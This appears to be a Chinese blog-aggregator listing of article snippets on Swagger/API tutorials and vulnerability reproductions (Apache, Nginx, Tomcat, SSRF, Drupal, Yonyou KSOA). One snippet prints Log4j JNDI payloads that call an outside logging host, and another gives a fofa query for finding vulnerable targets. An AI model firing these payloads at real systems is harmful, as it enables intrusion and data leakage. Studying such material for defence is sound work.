漏洞swagger api
用友U8与MES系统API接口对接案例分析
企业数字化转型：轻易云数据集成平台助力 U8 ERP+MES 系统集成 为什么选择数字化转型？ 领导层对企业资源规划（ERP）的深刻理解促使了数字化转型的启动。 采用精确的“N+5”滚动计划，为供应商提供充分的预期信息，确保准时化生产。 精细管理刀具采购和车间设备，优化生产计划和过程。 通过轻易云数 ......
CVE-2017-6920漏洞复现
前言 本文所述远程代码执行漏洞由Drupal Core的YAML解析器处理不当所导致。漏洞对应的CVE编号为CVE-2017-6920。 8.x版本&&小于8.3.4版本 漏洞环境（基于ubuntu18.04） 故事的开始: 启动漏洞环境（vulhub靶场，在cve-2017-6920文件夹中启do ......
SpringBoot使用Swagger创建在线接口文档
一、介绍 可以访问一下这个 Spring Boot整合swagger使用教程 - 随风行云 - 博客园 (cnblogs.com) Swagger 是为了方便用户在创建一个接口时，自动创建一个接口文档。 优点： 自动生成文档，只需要在接口中使用注解进行标注（@ApiModel @ApiParam） ......
Swagger系列：Spring Boot 2.x集成Spring Doc（Swagger 3.0）
目录一、简介1、SpringFox工具（不推荐）2、SpringDoc工具（推荐）二、集成1.环境1. 引入Maven依赖2.配置SpringDocConfig（配置类方式）3.配置SpringDocConfig（注解方式）4.配置API接口信息说明5.配置API接口信息示例三、效果图四、配置属性 ......
sql注入漏洞
1.0 什么是sql注入 sql注入第一次是在1998年著名黑客杂志phack第54期上提出的 sql注入是服务器端未严格校验客户端发送的数据，导致服务器端sql语句被恶意修改并成功执行 的行为 1.1 sql的分类 sql注入按请求方法分为get型和post型。 按照sq;数据类型分类可分为整型注 ......
java 字符串常用API
import java.util.Scanner; public class Main{ public static void main(String args[]) { Scanner sc=new Scanner(System.in); String s="1233.32"; double y= ......
EBS：展BOM标准API重复的BUG
EBS R12.2.X 标准展BOM的API程序（BOMPEXPL.EXPLODER_USEREXIT（）过程）展BOM后写入标准展BOM临时表BOM_EXPLOSION_TEMP。 用CONNECT BY PRIOR做层级排序时，有时候其速度非常慢，有时又很快。后来分析到，展BOM明细重复了。CO ......
ASP .Net Core: 配置Swagger
背景 如果使用vs 可以直接配置swagger，但我使用的是Rider,所以需要配置下 实作 包安装 Swashbuckle.AspNetCore 添加并配置swagger中间件 var builder = WebApplication.CreateBuilder(args); builder.Se ......
javaDos生成API文档
JavaDos生成文档 /** @author chenxiao 作者 @version 1.0 版本号 @since 1.0 自然号*/ /** * @author chenxiao * @version 1.0 * @since 1.0 */public class Student { priv ......
pytest运行警告问题解决：DeprecationWarning: pkg_resources is deprecated as an API
# 前言 最近在运行pytest的时候，经常出现这个警告DeprecationWarning: pkg_resources is deprecated as an API See https://setuptools.pypa.io/en/latest/pkg_resources.html from ......
SSRF漏洞拓展
# SSRF漏洞拓展 [TOC] ## curl_exec函数 ### 一、ssrf配合gopher协议反弹shell 实验环境： ``` （1）192.168.142.201 #redis服务器 （2）192.168.142.133 #攻击机 （3）192.168.142.1 #SSRF靶机 `` ......
How to use Promise and setTimeout to mock an API call in JavaScript All In One
How to use Promise and setTimeout to mock an API call in JavaScript All In One
如何使用 Promise 和 setTimeout 在 JavaScript 中模拟一个 API 调用
......
SAP Commerce Cloud 里的 smartedit webservices OCC API
SAP Commerce Cloud 是 SAP 提供的云端电子商务解决方案，而 OCC API（Omni Commerce Connect API）是 SAP Commerce Cloud 的一部分，它是一个 RESTful API ，提供了与 SAP Commerce Cloud 进行交互的接口 ......
Apipost：你API管理中的得力助手
API管理的难点在哪？ 相信无论是前端，还是后端的测试和开发人员，都遇到过这样的困难。不同工具之间数据一致性非常困难、低效。多个系统之间数据不一致，导致协作低效、频繁出问题，开发测试人员痛苦不堪。 开发人员在 Swagger 定义好文档后，接口调试的时候还需要去 Postman 再定义一遍。前端开发 ......
JAVA的几个知名的反序列化漏洞
更新一下笔记中JAVA的几个知名的反序列化漏洞，仅漏洞poc和原理，无分析过程。 # Log4j 条件：出网（因为需要请求jndi服务器） ``` ${jndi:ldap://yuvs2b.ceye.io} //外带请求 ${jndi:ldap://${java:version}.f2478a5a. ......
IIS_7.o/7.5解析漏洞
[toc] # IIS_7.o/7.5解析漏洞 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | IIS_7.o/7.5解析漏洞 | | 漏洞评级 | | | 影响范围 | win7,server2008 | | 漏洞描述 | | | 修复方案 | | ### 1.1、漏洞 ......
用友时空KSOA ImageUpload文件上传漏洞
## 漏洞简介 用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限 ## 影响版本 用友时空企业信息融通平台KSOA v9.0 ## 漏洞复现 fofa语法：`app="用友-时空KSOA"` 登录页面如下： 
Acunetix v23.8 (Linux, Windows) - 漏洞扫描 (Web 应用程序安全测试) Acunetix | Web Application Security Scanner 请访问原文链接：，查看最新版。原创作品，转载请保留出处。 作者主页：[sysin.org](https: ......
macOS Ventura 13.5.2 (22G91) Boot ISO 原版可引导镜像下载 (修复零日漏洞)
macOS Ventura 13.5.2 (22G91) Boot ISO 原版可引导镜像下载 (修复零日漏洞) 2023 年 9 月 7 日（北京时间 8 日凌晨）macOS Ventura 13.5.2 (22G91) 发布，此次为安全更新，主要修复了零日漏洞 CVE-2023-41064 CV ......
macOS Ventura 13.5.2 (22G91) 正式版发布，修复零日漏洞 (ISO、IPSW、PKG 下载)
macOS Ventura 13.5.2 (22G91) 正式版发布，修复零日漏洞 (ISO、IPSW、PKG 下载) 2023 年 9 月 7 日（北京时间 8 日凌晨）macOS Ventura 13.5.2 (22G91) 发布，此次为安全更新，主要修复了零日漏洞 CVE-2023-41064 ......
Nginx_(背锅)解析漏洞复现
[toc] # Nginx 解析漏洞复现 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | | | 漏洞评级 | | | 影响范围 | | | 漏洞描述 | Nginx 解析漏洞 该解析漏洞是PHP CGI 的漏洞，在PHP的配置文件中有一个关键的选项 cgi.fix_pa ......
Nginx_0.7.65_空字节漏洞
[toc] # Nginx_0.7.65_空字节漏洞 ### 1.1、漏洞描述 ### 1.2、漏洞等级 ### 1.3、影响版本 0.7.65 ### 1.4、漏洞复现 #### 1、基础环境 > 链接：https://pan.baidu.com/s/1GBEb6ig6ogiQfXq-yj_Vhw ......
Tomcat7+ 弱口令 && 后台getshell漏洞
[toc] # Tomcat7+ 弱口令 && 后台getshell漏洞 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | Tomcat7+ 弱口令 && 后台getshell漏洞 | | 漏洞评级 | 高危 | | 影响范围 | Tomcat 版本：8.0 | | 漏洞描 ......
Apache HTTPD 多后缀解析漏洞
[toc] # Apache HTTPD 多后缀解析漏洞 ### 1.1、漏洞描述 Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件： ```php AddType text/html .html AddLanguage zh-CN .cn ``` ......
Apache HTTPD-换行解析漏洞（CVE-2017-15715）
[toc] # Apache HTTPD-换行解析漏洞（CVE-2017-15715） | 说明 | 内容 | | | | | 漏洞编号 | CVE-2017-15715 | | 漏洞名称 | Apache HTTPD 换行解析漏洞 | | 漏洞评级 | 高危 | | 影响范围 | 2.4.0~2. ......
Apache HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773)
[toc] # Apache HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773) | 说明 | 内容 | | | | | 漏洞编号 | CVE-2021-41773 | | 漏洞名称 | Apache HTTP 路径穿越漏洞 | | 漏洞评级 | 高危 | | 影响范围 | 2.4 ......
Apache HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013)
[toc] # Apache HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013) | 说明 | 内容 | | | | | 漏洞编号 | CVE-2021-42013 | | 漏洞名称 | Apache HTTP_2.4.50_路径穿越漏洞 | | 漏洞评级 | 高危 | | 影响范 ......
Aapache_Tomcat_AJP协议_文件包含漏洞(CVE-2020-1938)
[toc] # Aapache_Tomcat_AJP_文件包含漏洞(CVE-2020-1938) | 说明 | 内容 | | | | | 漏洞编号 | CVE-2020-1938 | | 漏洞名称 | Aapache_Tomcat_AJP文件包含漏洞 | | 漏洞评级 | 高危 | | 影响范围 | ......
【API Management】使用 APIM Inbound Policy 来修改Content‐Type Header的值
问题描述 在使用APIM提供API服务管理的场景中，遇见了客户端请求时候发送的请求Header中的Content-Type不满足后台服务器的要求，但是在客户端要求客户修改代码难度较高。 所以面对这样的情况，是否在APIM端修改为对请求的Content-Type进行覆写呢？ 问题解答 可以的。 API ......